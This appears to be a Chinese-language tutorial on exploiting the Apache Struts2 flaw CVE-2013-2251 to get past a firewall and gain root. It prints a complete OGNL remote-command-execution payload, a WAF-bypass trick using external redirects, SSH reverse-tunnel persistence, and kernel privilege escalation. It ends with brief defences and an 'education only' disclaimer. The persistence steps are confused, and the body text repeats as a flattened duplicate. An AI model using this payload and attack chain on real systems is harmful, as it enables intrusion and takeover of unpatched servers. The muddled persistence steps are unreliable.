如何利用Struts2漏洞绕过防火墙获取Root权限
字数 898 2025-08-18 11:37:19

Apache Struts2 CVE-2013-2251漏洞分析与利用指南

漏洞概述

Apache Struts2框架中存在一个远程代码执行漏洞(CVE-2013-2251),影响Struts2版本低于2.3.15。该漏洞允许攻击者通过操纵特定前缀的参数("action:"、"redirect:"或"redirectAction:")在目标服务器上执行任意命令。

漏洞原理

漏洞的核心在于Struts2框架对OGNL(Object-Graph Navigation Language)表达式的处理不当。当攻击者构造包含恶意OGNL表达式的请求时,框架会解析并执行这些表达式,导致远程代码执行。

漏洞利用步骤

1. 识别存在漏洞的系统

  • 检查目标网站是否使用Struts2框架
  • 确定框架版本是否低于2.3.15

2. 构造基本Payload

基本执行命令的Payload结构如下:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

其中command替换为要执行的系统命令。

3. 绕过WAF防护

当基本Payload被WAF拦截时,可采用以下方法绕过:

  1. 首先确认目标允许重定向到外部网站:

    redirect:http://www.example.com
    
  2. 将恶意代码嵌入到重定向URL中:

    redirect:http://www.example.com/${恶意OGNL表达式}
    

4. 建立持久化访问

通过SSH反向隧道和公钥认证建立持久访问:

  1. 获取目标服务器的SSH公钥(id_rsa.pub)
  2. 将该公钥添加到攻击者服务器的authorized_keys文件中
  3. 将修改后的authorized_keys文件复制回目标服务器
  4. 建立SSH反向连接

5. 权限提升

  1. 检查目标系统内核版本:

    uname -a
    
  2. 根据内核版本搜索对应的提权漏洞(如CVE-2013-2094)

  3. 下载并编译exploit代码

  4. 执行exploit获取root权限

防御措施

  1. 及时升级Struts2到最新版本
  2. 部署WAF规则拦截恶意OGNL表达式
  3. 限制服务器出站连接
  4. 定期更新操作系统内核
  5. 实施最小权限原则,限制应用程序运行权限

参考资源

请注意:本文仅用于教育目的,帮助安全人员了解漏洞原理并采取防御措施。未经授权的渗透测试是违法的。

Apache Struts2 CVE-2013-2251漏洞分析与利用指南 漏洞概述 Apache Struts2框架中存在一个远程代码执行漏洞(CVE-2013-2251),影响Struts2版本低于2.3.15。该漏洞允许攻击者通过操纵特定前缀的参数("action:"、"redirect:"或"redirectAction:")在目标服务器上执行任意命令。 漏洞原理 漏洞的核心在于Struts2框架对OGNL(Object-Graph Navigation Language)表达式的处理不当。当攻击者构造包含恶意OGNL表达式的请求时,框架会解析并执行这些表达式,导致远程代码执行。 漏洞利用步骤 1. 识别存在漏洞的系统 检查目标网站是否使用Struts2框架 确定框架版本是否低于2.3.15 2. 构造基本Payload 基本执行命令的Payload结构如下: 其中 command 替换为要执行的系统命令。 3. 绕过WAF防护 当基本Payload被WAF拦截时,可采用以下方法绕过: 首先确认目标允许重定向到外部网站: 将恶意代码嵌入到重定向URL中: 4. 建立持久化访问 通过SSH反向隧道和公钥认证建立持久访问: 获取目标服务器的SSH公钥( id_rsa.pub ) 将该公钥添加到攻击者服务器的 authorized_keys 文件中 将修改后的 authorized_keys 文件复制回目标服务器 建立SSH反向连接 5. 权限提升 检查目标系统内核版本: 根据内核版本搜索对应的提权漏洞(如CVE-2013-2094) 下载并编译exploit代码 执行exploit获取root权限 防御措施 及时升级Struts2到最新版本 部署WAF规则拦截恶意OGNL表达式 限制服务器出站连接 定期更新操作系统内核 实施最小权限原则,限制应用程序运行权限 参考资源 CVE-2013-2251详情 Linux提权漏洞CVE-2013-2094 SSH公钥认证说明 请注意:本文仅用于教育目的,帮助安全人员了解漏洞原理并采取防御措施。未经授权的渗透测试是违法的。